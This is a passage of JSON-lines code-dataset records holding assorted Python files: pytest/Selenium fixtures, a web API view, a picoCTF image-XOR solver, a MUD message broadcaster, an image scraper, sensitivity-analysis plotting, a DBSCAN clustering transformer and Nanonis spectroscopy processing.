job['jobId'])\n","sub_path":"component_sdk/python/kfp_component/google/ml_engine/_create_job.py","file_name":"_create_job.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"114048507","text":"from __future__ import print_function\n\nfrom time import sleep\nfrom selenium.webdriver import Firefox\nimport pytest\n\n\n@pytest.fixture(scope='session')\ndef driver(request):\n driver = Firefox()\n request.addfinalizer(lambda: driver.quit())\n return driver\n\n\n@pytest.fixture\ndef page(request, driver):\n url = 'https://google.com'\n old_url = driver.current_url\n request.addfinalizer(lambda: driver.get(old_url))\n driver.get(url)\n return url\n\n\ndef test_visit_page(page):\n print(\"visited\", page)\n sleep(2)\n\n\ndef test_something_else(driver):\n pass\n","sub_path":"project/test_fixturedemo1.py","file_name":"test_fixturedemo1.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"600465851","text":"\"\"\"\nViews for the Weatherer objects.\n\"\"\"\nfrom .common_object import get_object, create_or_update_object\n\nfrom cornice import Service\n\nenv = Service(name='weatherer', path='/weatherer*obj_id',\n description=\"Weatherer API\")\n\nimplemented_types = ('gnome.weatherers.core.Weatherer',\n )\n\n\n@env.get()\ndef get_weatherer(request):\n '''Returns a Gnome Weatherer object in JSON.'''\n return get_object(request, implemented_types)\n\n\n@env.put()\ndef create_or_update_weatherer(request):\n '''Creates or Updates a Weatherer object.'''\n return create_or_update_object(request, implemented_types)\n","sub_path":"web/gnome/webgnome_data/webgnome_data/views/weatherer.py","file_name":"weatherer.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"588196047","text":"from PIL import Image\nimport numpy as np\n\nimg1 = np.array(Image.open(\"scrambled1.png\"))\nimg2 = np.array(Image.open(\"scrambled2.png\"))\n\nassert img1.shape == img2.shape\n\nR = img1.shape[0]\nC = img1.shape[1]\n\nxor_img = np.zeros(img1.shape, dtype=np.uint8)\nfor r in range(R):\n for c in range(C):\n for i in range(3):\n xor_img[r][c][i] = img1[r][c][i] ^ img2[r][c][i]\n\nImage.fromarray(xor_img).save(\"xor_out.png\")\n\n\nfor r in range(R):\n for c in range(C):\n if (xor_img[r][c] != [255, 255, 255]).all():\n xor_img[r][c] = [0, 0, 0]\n\nImage.fromarray(xor_img).save(\"flag.png\")","sub_path":"picoCTF/2021Spring/crypto/pixelated/solve_pixelated.py","file_name":"solve_pixelated.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"291295151","text":"import re\r\n\r\nfrom lampost.util.lmutil import pronouns\r\n\r\ndefaults = {'e':'s', 't':'e', 'st':'s', 'et':'e', 'sf':'s', 'ef':'e', 'sa':'st', 'ea':'et'}\r\n\r\nbroadcast_types = [{'id':'s', 'label':'To self (no target)', 'reduce':'s'},\r\n {'id':'e', 'label':'To others (no target)', 'reduce':'s'},\r\n {'id':'t', 'label':'To target (target is other)', 'reduce':'e'},\r\n {'id':'st', 'label':'To self (target is other)', 'reduce':'s'},\r\n {'id':'et', 'label':'To others (target is other)', 'reduce': 'e'},\r\n {'id':'sf', 'label':'To self (target is self)', 'reduce':'s'},\r\n {'id':'ef', 'label':'To others (target is self)', 'reduce': 'e'},\r\n {'id':'sa', 'label':'To self (target is not living)', 'reduce':'st'},\r\n {'id':'ea', 'label':'To environment (target is not living)', 'reduce':'et'}]\r\n\r\nbroadcast_tokens = [{'id':'n', 'token':'Subject name'},\r\n {'id':'N', 'token':'Target name'},\r\n {'id':'e', 'token':'Subject pronoun'},\r\n {'id':'E', 'token':'Target pronoun'},\r\n {'id':'s', 'token':'Subject possessive pronoun'},\r\n {'id':'S', 'token':'Target possessive pronoun'},\r\n {'id':'m', 'token':'Subject objective pronoun'},\r\n {'id':'M', 'token':'Target objective pronoun'},\r\n {'id':'f', 'token':'Subject self pronoun'},\r\n {'id':'F', 'token':'Target self pronoun'}]\r\n\r\ntoken_pattern = re.compile('\\$([nNeEsSmMfF])')\r\n\r\n\r\nclass BroadcastMap(object):\r\n def __init__(self, **kwargs):\r\n self.populate(kwargs)\r\n\r\n def populate(self, type_map):\r\n for key, value in type_map.iteritems():\r\n value = token_pattern.sub(r'{\\1}', value)\r\n setattr(self, key, value)\r\n\r\n def __getitem__(self, msg_key):\r\n while True:\r\n msg = getattr(self, msg_key, None)\r\n if msg:\r\n return msg\r\n msg_key = defaults[msg_key]\r\n if not msg_key:\r\n return \"Invalid message type\"\r\n\r\n\r\nclass Broadcast(object):\r\n def __init__(self, broadcast_map=None, source=None, target=None, color='default', silent=False, **kwargs):\r\n if broadcast_map:\r\n self.broadcast_map = broadcast_map\r\n else:\r\n self.broadcast_map = BroadcastMap(**kwargs)\r\n self.source = source\r\n self.target = target\r\n self.color = color\r\n self.silent = silent\r\n\r\n def translate(self, observer):\r\n if self.silent and observer == self.source:\r\n return None\r\n if not self.target:\r\n if not self.source or self.source == observer:\r\n return self.substitute('s')\r\n\r\n if self.target == self.source:\r\n if self.source == observer:\r\n return self.substitute('sf')\r\n return self.substitute('ef')\r\n if self.target == observer:\r\n return self.substitute('t')\r\n if not self.target:\r\n return self.substitute('e')\r\n if getattr(self.target, 'living'):\r\n if self.source == observer:\r\n return self.substitute('st')\r\n return self.substitute('et')\r\n if self.source == observer:\r\n return self.substitute('sa')\r\n return self.substitute('ea')\r\n\r\n def substitute(self, version):\r\n message = self.broadcast_map[version]\r\n if self.source:\r\n s_name = self.source.name\r\n s_sub, s_obj, s_poss, s_self = pronouns[getattr(self.source, 'sex', 'none')]\r\n else:\r\n s_name = s_sub = s_obj = s_poss = s_self = None\r\n if self.target:\r\n t_name = self.target.name\r\n t_sub, t_obj, t_poss, t_self = pronouns[getattr(self.target, 'sex', 'none')]\r\n else:\r\n t_name = t_sub = t_obj = t_poss = t_self = None\r\n\r\n result = message.format(n=s_name, N=t_name, e=s_sub, E=t_sub,\r\n s=s_poss, S=t_poss, m=s_obj, M=t_obj, f=s_self, F=t_self)\r\n if result:\r\n result = \"{0}{1}\".format(result[0], result[1:])\r\n return result\r\n\r\n\r\nclass SingleBroadcast():\r\n def __init__(self, all_msg, color='default'):\r\n self.all_msg = all_msg\r\n self.color = color\r\n\r\n def translate(self, ignored):\r\n return self.all_msg\r\n","sub_path":"lampost/comm/broadcast.py","file_name":"broadcast.py","file_ext":"py","file_size_in_byte":4453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"241729455","text":"import requests\nfrom bs4 import BeautifulSoup\nimport os\n\n\n \n\n\n\n\nheaders = {'User-Agent':\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36\"\n ,'Referer':'http://www.mzitu.com/',}\n\nurl = 'http://www.mzitu.com/all/'\n\nres = requests.get(url,headers = headers) #获取页面\nsoup = BeautifulSoup(res.text,'html.parser')\n\nfor link in soup.select('.archives a'):\n url = link['href'] #得到每个图的网页\n res = requests.get(url,headers = res.headers) # 二轮解析 得到图片scr\n soup = BeautifulSoup(res.text,'html.parser')\n src = soup.select('.main-image img')\n name = src[0]['alt'] #获得name\n src = src[0]['src'] #获得图片地址\n\n name = name.replace('?','-') #替换name中非法字符\n name = name.replace(':','-')\n name = name.replace(' ','-')\n print(name)\n\n r = requests.get(src,stream = True)\n str = name + '.jpg'\n with open(r'C:\\Users\\Administrator\\Desktop\\photos\\\\' + str, 'wb') as f:\n for chunk in r.iter_content(chunk_size=32):\n f.write(chunk)\n\n\n \n\n\n\n \n\n\n\n \n \n","sub_path":"爬虫/二进制爬虫/meizitu/妹子图.py","file_name":"妹子图.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"526285525","text":"import os\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\n\nfrom biomass.observable import observables, NumericalSimulation\nfrom .sensitivity import analyze_sensitivity\nfrom .reaction import *\n\n\nsim = NumericalSimulation()\nwidth = 0.3\n\n\ndef run_analysis(metric):\n os.makedirs(\n './figure/sensitivity/reaction/%s/heatmap' % (\n metric\n ), exist_ok=True\n )\n if not os.path.isfile(\n 'sensitivities_npy/reaction/%s/sensitivity_coefficients.npy' % (\n metric\n )\n ):\n os.makedirs(\n './sensitivities_npy/reaction/%s' % (\n metric\n ), exist_ok=True\n )\n sensitivity_coefficients = analyze_sensitivity(metric, num_reaction)\n np.save(\n 'sensitivities_npy/reaction/%s/sensitivity_coefficients' % (\n metric\n ), sensitivity_coefficients\n )\n else:\n sensitivity_coefficients = np.load(\n 'sensitivities_npy/reaction/%s/sensitivity_coefficients.npy' % (\n metric\n )\n )\n return sensitivity_coefficients\n\n\ndef get_sort_idx():\n reaction_module = get_reaction_module()\n sort_idx = [0] * num_reaction\n left_end = 0\n for i, ith_module in enumerate(reaction_module):\n for j, k in enumerate(ith_module):\n if i != 0 and j == 0:\n left_end += len(reaction_module[i-1])\n sort_idx[left_end+j] = k\n return sort_idx\n\n\ndef get_reaction_number(sort_idx):\n\n return [str(i) for i in sort_idx]\n\n\ndef draw_vertical_span(width):\n reaction_module = get_reaction_module()\n if len(reaction_module) > 1:\n left_end = 0\n for i, ith_module in enumerate(reaction_module):\n if i % 2 == 0:\n plt.axvspan(\n left_end - width,\n left_end - width + len(ith_module),\n facecolor='k', alpha=0.1\n )\n left_end += len(ith_module)\n\n\ndef sensitivity_barplot(metric):\n sensitivity_coefficients = run_analysis(metric)\n reaction_module = get_reaction_module()\n sort_idx = get_sort_idx()\n reaction_number = get_reaction_number(sort_idx)\n\n plt.rcParams['font.size'] = 15\n plt.rcParams['font.family'] = 'Arial'\n plt.rcParams['mathtext.fontset'] = 'custom'\n plt.rcParams['mathtext.it'] = 'Arial:italic'\n plt.rcParams['axes.linewidth'] = 1.2\n plt.rcParams['xtick.major.width'] = 1.2\n plt.rcParams['ytick.major.width'] = 1.2\n\n color = ['mediumblue', 'red']\n for k, obs_name in enumerate(observables):\n plt.figure(figsize=(12, 5))\n draw_vertical_span(width)\n plt.hlines(\n [0], -width, num_reaction-1-width, 'k', lw=1\n )\n sensitivity_array = sensitivity_coefficients[:, :, k, :]\n nan_idx = []\n for i in range(sensitivity_array.shape[0]):\n for j in range(sensitivity_array.shape[1]):\n if any(np.isnan(sensitivity_array[i, j, :])):\n nan_idx.append(i)\n sensitivity_array = np.delete(\n sensitivity_array, nan_idx, axis=0\n )\n if sensitivity_array.size != 0:\n average = np.mean(sensitivity_array, axis=0)\n stdev = np.std(sensitivity_array, axis=0, ddof=1)\n for l, condition in enumerate(sim.conditions):\n plt.bar(\n np.arange(num_reaction)+l*width, average[sort_idx, l], yerr=stdev[sort_idx, l],\n ecolor=color[l], capsize=2, width=width, color=color[l],\n align='center', label=condition\n )\n distance = np.max(average)*0.05\n for i, j in enumerate(sort_idx):\n if j != 0:\n xp = i + width/2\n yp = average[j, np.argmax(np.abs(average[j, :]))]\n yerr = stdev[j, np.argmax(stdev[j, :])]\n if yp > 0:\n plt.text(\n xp, yp + yerr + distance, reaction_number[i],\n ha='center', va='bottom', fontsize=10, rotation=90\n )\n else:\n plt.text(\n xp, yp - yerr - distance, reaction_number[i],\n ha='center', va='top', fontsize=10, rotation=90\n )\n plt.xticks([])\n plt.ylabel(\n 'Control coefficients on\\n'+metric +\n ' (' + obs_name.replace('_', ' ') + ')'\n )\n plt.xlim(-width, num_reaction-1-width)\n # plt.ylim(-1.2,0.6)\n # plt.yticks([-1.2,-1.0,-0.8,-0.6,-0.4,-0.2,0,0.2,0.4,0.6])\n plt.legend(loc='lower right', frameon=False)\n plt.savefig(\n 'figure/sensitivity/reaction/%s/%s.pdf' % (\n metric, obs_name\n ), bbox_inches='tight'\n )\n plt.close()\n\n\ndef sensitivity_heatmap(metric):\n sensitivity_coefficients = run_analysis(metric)\n reaction_module = get_reaction_module()\n sort_idx = get_sort_idx()\n reaction_number = get_reaction_number(sort_idx)\n\n plt.rcParams['font.size'] = 8\n plt.rcParams['font.family'] = 'Arial'\n plt.rcParams['mathtext.fontset'] = 'custom'\n plt.rcParams['mathtext.it'] = 'Arial:italic'\n plt.rcParams['axes.linewidth'] = 1.2\n plt.rcParams['xtick.major.width'] = 1.2\n plt.rcParams['ytick.major.width'] = 1.2\n\n for k, obs_name in enumerate(observables):\n for l, condition in enumerate(sim.conditions):\n sensitivity_matrix = \\\n sensitivity_coefficients[:, sort_idx[:-1], k, l]\n # Normalize from -1 to 1\n nan_idx = []\n for i in range(sensitivity_matrix.shape[0]):\n if any(np.isnan(sensitivity_matrix[i, :])):\n nan_idx.append(i)\n if np.nanmax(np.abs(sensitivity_matrix[i, :])) == 0.0:\n sensitivity_matrix[i, :] = np.zeros(\n sensitivity_matrix.shape[1]\n )\n else:\n sensitivity_matrix[i, :] = (\n sensitivity_matrix[i, :] / \n np.nanmax(\n np.abs(\n sensitivity_matrix[i, :]\n )\n )\n )\n sensitivity_matrix = np.delete(\n sensitivity_matrix, nan_idx, axis=0\n )\n if sensitivity_matrix.size != 0 and not np.all(sensitivity_matrix == 0.0):\n sns.clustermap(\n sensitivity_matrix,\n center=0,\n method='ward',\n cmap='RdBu_r',\n linewidth=.5,\n col_cluster=False,\n figsize=(16, 8),\n xticklabels=[\n reaction_number[i] for i in range(num_reaction-1)\n ],\n yticklabels=[],\n cbar_kws={\"ticks\": [-1, 0, 1]}\n )\n plt.savefig(\n 'figure/sensitivity/reaction/%s/heatmap/%s_%s.pdf' % (\n metric, condition, obs_name\n ), bbox_inches='tight'\n )\n plt.close()\n","sub_path":"biomass/analysis/reaction/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":7424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"148248282","text":"# -*- coding: utf-8 -*-\n# Copyright (c) Hebes Intelligence Private Company\n\n# This source code is licensed under the Apache License, Version 2.0 found in the\n# LICENSE file in the root directory of this source tree.\n\nimport numpy as np\nimport pandas as pd\nfrom feature_encoders.utils import check_X\nfrom sklearn.base import TransformerMixin\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.utils.validation import check_is_fitted\n\nfrom eensight.base import BaseHeterogeneousEnsemble\nfrom eensight.utils import recover_missing_dates\n\nNOISE = -1\n\n\nclass ClusterFeatures(TransformerMixin, BaseHeterogeneousEnsemble):\n \"\"\"Create cluster features.\n\n This is a composite transformer model that uses `DBSCAN` (Density-Based Spatial Clustering\n of Applications with Noise) to cluster the input data and a `KNeighborsClassifier` to assign\n clusters to unseen inputs.\n\n Args:\n eps (float, optional): The maximum distance between two samples for one to be\n considered as in the neighborhood of the other. This is not a maximum bound\n on the distances of points within a cluster. Defaults to 0.5.\n min_samples (int, optional): The number of samples in a neighbourhood for\n a point to be considered a core point. This parameter controls what the\n clusterer identifies as noise. Defaults to 5.\n metric (string or callable, optional): The metric to use when calculating\n distance between instances in a feature array. It must be one of the options\n allowed by metrics.pairwise.pairwise_distances for its metric parameter. Defaults\n to 'euclidean'.\n metric_params (dict, optional): Additional keyword arguments for the metric function.\n Defaults to None.\n transformer (sklearn.base.BaseEstimator, optional): An object that implements a\n `fit_transform` method, which is used for transforming the input into a form\n that is understood by the distance metric. Defaults to None.\n n_jobs (int, optional): The number of parallel jobs to run for the clusterer. ``None``\n means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all\n processors. Defaults to None.\n n_neighbors (int, optional): Number of neighbors to use by default for :meth:`kneighbors`\n queries. This parameter is passed to ``sklearn.neighbors.KNeighborsClassifier``.\n Defaults to 1.\n weights ({'uniform', 'distance'} or callable, optional): The weight function used in\n prediction. This parameter is passed to ``sklearn.neighbors.KNeighborsClassifier``.\n Defaults to 'uniform'.\n output_name (str, optional): The name of the output dataframe's column that includes\n the cluster information. Defaults to 'cluster'.\n \"\"\"\n\n def __init__(\n self,\n eps=0.5,\n min_samples=5,\n metric=\"euclidean\",\n metric_params=None,\n transformer=None,\n n_jobs=None,\n n_neighbors=1,\n weights=\"uniform\",\n output_name=\"cluster\",\n ):\n self.eps = eps\n self.min_samples = min_samples\n self.metric = metric\n self.metric_params = metric_params\n self.transformer = transformer\n self.n_jobs = n_jobs\n self.n_neighbors = n_neighbors\n self.weights = weights\n self.output_name = output_name\n\n super().__init__(\n estimators=[\n (\n \"assign_clusters\",\n DBSCAN(\n eps=eps,\n min_samples=min_samples,\n metric=metric,\n metric_params=metric_params,\n n_jobs=n_jobs,\n ),\n ),\n (\n \"predict_clusters\",\n KNeighborsClassifier(n_neighbors=n_neighbors, weights=weights),\n ),\n ],\n )\n\n def fit(self, X: pd.DataFrame, y=None):\n \"\"\"Fit the feature generator on the available data.\n\n Args:\n X (pandas.DataFrame): The input dataframe.\n y (None, optional): Ignored. Defaults to None.\n\n Raises:\n ValueError: If the input data do not pass the checks of\n `feature_encoders.utils.check_X`.\n\n Returns:\n ClusterFeatures: The fitted instance.\n \"\"\"\n if self.transformer is not None:\n X = self.transformer.fit_transform(X)\n\n X = check_X(X)\n dt = X.index.to_series().diff()\n time_step = dt.iloc[dt.values.nonzero()[0]].min()\n\n if time_step < pd.Timedelta(days=1): # the clustering is applied on days\n X = X.groupby(lambda x: x.date).first()\n X.index = X.index.map(pd.to_datetime)\n\n clusterer = self.named_estimators[\"assign_clusters\"]\n clusterer = clusterer.fit(X)\n\n self.clusters_ = pd.DataFrame(\n data=clusterer.labels_,\n index=X.index,\n columns=[self.output_name],\n )\n self.year_coverage_ = len(np.unique(X.index.dayofyear)) / 365\n\n classifier = self.named_estimators[\"predict_clusters\"]\n without_noise_idx = self.clusters_[\n self.clusters_[self.output_name] != NOISE\n ].index\n\n if len(without_noise_idx) == 0:\n classifier.fit(np.array(X), np.zeros(len(X)))\n else:\n classifier.fit(\n np.array(X.loc[without_noise_idx]),\n np.array(self.clusters_.loc[without_noise_idx, self.output_name]),\n )\n self.fitted_ = True\n return self\n\n def transform(self, X: pd.DataFrame):\n \"\"\"Apply the feature generator.\n\n Args:\n X (pandas.DataFrame): The input dataframe.\n\n Returns:\n pandas.DataFrame: The transformed dataframe.\n \"\"\"\n check_is_fitted(self, \"fitted_\")\n\n if self.transformer is not None:\n X = self.transformer.fit_transform(X)\n\n X = check_X(X)\n dt = X.index.to_series().diff()\n time_step = dt.iloc[dt.values.nonzero()[0]].min()\n\n index = None\n if time_step < pd.Timedelta(days=1):\n index = X.index\n X = X.groupby(lambda x: x.date).first()\n X.index = X.index.map(pd.to_datetime)\n\n pred = pd.DataFrame(\n data=self.named_estimators[\"predict_clusters\"].predict(X),\n index=X.index,\n columns=[self.output_name],\n )\n\n if index is not None:\n idx_ext = recover_missing_dates(pd.DataFrame(index=index)).index\n pred.index = pred.index.map(lambda x: x.replace(hour=0, minute=0, second=0))\n pred = (\n idx_ext.to_frame().join(pred).fillna(method=\"ffill\")[[self.output_name]]\n )\n pred = pred.reindex(index)\n\n return pred\n","sub_path":"src/eensight/features/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":6994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"434076804","text":"\"\"\"Standard processing of nanonispy.Spec structures\"\"\"\nimport re\nimport numpy as np\n\n\ndef emit_signals(signals, nanonis_name, bw=False):\n root, unit = re.fullmatch(\"(.*) (\\(.*\\))\", nanonis_name).group(1, 2)\n cycle_index = 0\n depleted = False\n while not depleted:\n try:\n cycle_index += 1\n if bw:\n yield signals[root + \" [{:05d}] [bwd] \".format(cycle_index) + unit]\n else:\n yield signals[root + \" [{:05d}] \".format(cycle_index) + unit]\n except KeyError:\n depleted = True\n\n\ndef get_avg_err(data):\n data.avg = {key: np.nanmean(data.raw[key], axis=(1, 2)) for key in data.raw.keys()}\n data.err = {\n key: np.nanstd(data.raw[key], axis=(1, 2), ddof=1)\n / np.sqrt(data.raw[key][0, :, :].size)\n for key in data.raw.keys()\n }\n\n data.fw = {\n key: np.nanmean(data.raw[key][:, :, 0], axis=1) for key in data.raw.keys()\n }\n data.fw_err = {\n key: np.nanstd(data.raw[key][:, :, 0], axis=1, ddof=1)\n / np.sqrt(data.raw[key][0, :, 0].size)\n for key in data.raw.keys()\n }\n\n data.bw = {\n key: np.nanmean(data.raw[key][:, :, 1], axis=1) for key in data.raw.keys()\n }\n data.bw_err = {\n key: np.nanstd(data.raw[key][:, :, 1], axis=1, ddof=1)\n / np.sqrt(data.raw[key][0, :, 1].size)\n for key in data.raw.keys()\n }\n return data\n\n\ndef process_spec(data):\n \"\"\"\n equips a nanonispy.Spec structure with\n data.fw: dict containing the average of the forward sweep for each channel\n data.bw: the same for the backward sweep\n data.avg: average of forward and backward\n data.v: voltage axis\n data.T: temperature\n\n It is expected to work only if the measurement\n * is a bias spectroscopy\n * contains a backward sweep\n \"\"\"\n\n data.v = data.signals[\"Bias calc (V)\"].copy()\n data.v_step = data.v[1] - data.v[0]\n\n try:\n data.T = float(data.header[\"Ext. VI 1>Microscope temperature (K)\"])\n except KeyError:\n pass\n\n nanonis_names = {\n \"i\": \"Current (A)\",\n \"xf\": \"ZI-1 (V)\",\n \"yf\": \"ZI-2 (V)\",\n \"x2f\": \"ZI-3 (V)\",\n \"y2f\": \"ZI-4 (V)\",\n \"phi\": \"Phase (deg)\",\n \"a\": \"Amplitude (m)\",\n \"df\": \"Frequency Shift (Hz)\",\n \"u\": \"Excitation (V)\",\n }\n\n individual_measurements_saved = \"[AVG]\" in str(data.signals.keys())\n bw_saved = \"[bwd]\" in str(data.signals.keys())\n\n # Dimensions: voltage, cycle, direction (fw/bw)\n data.raw = dict()\n raw_fw = dict()\n if bw_saved:\n raw_bw = dict()\n\n for key, nanonis_name in nanonis_names.items():\n if individual_measurements_saved:\n raw_fw[key] = np.column_stack(\n [signal for signal in emit_signals(data.signals, nanonis_name)]\n )\n if bw_saved:\n raw_bw[key] = np.column_stack(\n [\n signal\n for signal in emit_signals(data.signals, nanonis_name, bw=True)\n ]\n )\n data.raw[key] = np.stack((raw_fw[key], raw_bw[key]), axis=-1)\n else:\n data.raw[key] = raw_fw[:, np.newaxis]\n else:\n # To be implemented\n pass\n\n data = get_avg_err(data)\n return data\n","sub_path":"src/sps/prepare/process_spec.py","file_name":"process_spec.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"}